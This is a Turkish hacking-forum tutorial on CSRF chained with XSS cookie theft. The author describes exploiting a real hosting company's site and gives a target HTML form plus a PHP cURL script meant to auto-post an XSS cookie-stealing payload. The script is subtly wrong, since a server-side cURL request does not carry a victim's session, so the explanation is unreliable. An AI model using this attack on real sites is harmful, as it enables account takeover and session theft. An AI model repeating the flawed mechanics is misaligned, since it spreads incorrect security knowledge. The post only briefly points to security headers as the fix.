Hoşgeldin Misafir

hack bilmeye kalmasın - part 2 CSRF (gerçek olaylar ve kanıtları ile)

Muncuk Han

Muncuk Han

ai ye baş kaldırmış adam
31 Ağu 2021
810 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
merhaba serinin 2. konusundayız

birinci konu : https://www.turkhacks.com/konu/hack...calma-gercek-olaylar-ve-kanitlari-ile.296372/

bu konuda ise en sinsi açıklardan birinden bahsedeceğiz: csrf. bu açık öyle bir açık ki kullanıcı hiç alakası olmayan bir linke örneğin

1deneme.com'a tıklasın ama

2deneme.com'daki şifresi sıfırlansın.

olay şöyle işliyor:

1deneme.com'a bastığında index.php'deki kod 2deneme.com/userupdate.php sayfasına şifresini değiştirmesi için otomatik post atıyor ve kullanıcının şifresi değişiyor.

gerçek hayatta örneğine ise büyük bir hosting şirketine bağlı olan bir sitede rastladım. bu açığı ise xss ile birleştirerek daha da etkili hale getirmiştim ama maalesef açığı önce kapatıp sonra eski haline geri getirmişler. o yüzden örnek bir gerçek senaryo ile size anlatacağım.

0wmxhnca.png


mevcut güvenlik açığı şu şekilde ilerliyordu:


mevcut güvenlik açığı şu şekilde ileriliyordu

HTML:
<form method="post" action="TestSorgu.asp" class="__web-inspector-hide-shortcut__">
                <div>
                <label>Bir Alan Adı Belirtin.</label>
                www.<input type="text" name="domain">
                    <select name="q_type">
                    <option value="0" selected="">Standart Sorgulama</option>
                    <option value="1">Çoklu Sorgulama</option>
                    </select>
                </div>
                <div>
                <input type="submit" value="Sorgula" class="submit">
                <input type="hidden" name="command" value="Query_Domains">
                </div>
            </form>

bu form ile TestSorgu.asp sayfasına istek atılıyor ama TestSorgu.asp'de veriler çıktı verilirken olduğu gibi bastırılıyor. o yüzden bir xss cookie çalma kodu post ediyoruz. ama nasıl ediyoruz?

PHP:
<?php$url = '[URL]https://www.domain.com/TestSorgu.asp[/URL]';

// Gönderilecek veriler$data = array('domain' => 'ornekalanadi.com','q_type' => '0','command' => 'Query_Domains');

$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));

$response = curl_exec($ch);

if (curl_errno($ch)) {echo 'Hata: ' . curl_error($ch);} else {echo $response;}

curl_close($ch);?>

ornekalanadi.com yazmak yerine xss cookie kodu yerleştiriyoruz ve bu php'yi başka bir siteye upload ediyoruz. upload edilince o sayfaya oto post atıyor ve oturumu aktif olan kullanıcının cookiesini çalıyor.

yani olay şu: site içerisinde post atmak yerine kullanıcıyı başka linke tıklattırıp oradan otomatik şekilde başka bir siteye post attırarak verileri değiştirme.

bu açık neden oluyor derseniz ise tamamen güvenlik başlıkları ile ilgili. eğer sitede başka siteden gelen istekleri engelleyen bir kod olsa bu açık işe yaramayacak, kullanıcı bilgileri değiştirilemeyip oturumu aktif kullanıcının cookiesi çalınamayacaktı.

php'de bu açığı kapatmak için https://www.turkhacks.com/konu/php-guvenlik-basliklari.296531/ bu konuyu ziyaret edebilirsiniz.